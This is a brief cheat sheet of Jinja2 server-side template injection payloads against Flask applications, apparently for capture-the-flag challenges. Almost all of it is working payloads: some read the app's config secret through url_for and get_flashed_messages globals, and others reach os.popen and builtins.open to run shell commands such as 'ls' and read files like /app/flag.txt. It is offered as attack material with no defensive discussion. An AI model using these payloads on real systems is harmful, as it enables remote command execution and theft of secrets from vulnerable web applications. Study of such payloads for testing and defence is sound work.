flask SSTI by Jinja2

flask SSTI by Jinja2 (Server Side Template Injection) 

[Exploit】

={{url_for.__globals__['current_app'].config['FLAG']}}

or

={{get_flashed_messages.__globals__['current_app'].config['FLAG']}}


--------------------------------------------------------------------

v2


{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}


{{request.application.__globals__.__builtins__.__import__('os').popen('cat /app/flag.txt').read()}}


{{ request.__class__._load_form_data.__globals__.__builtins__.open("/app/flag.txt").read() }}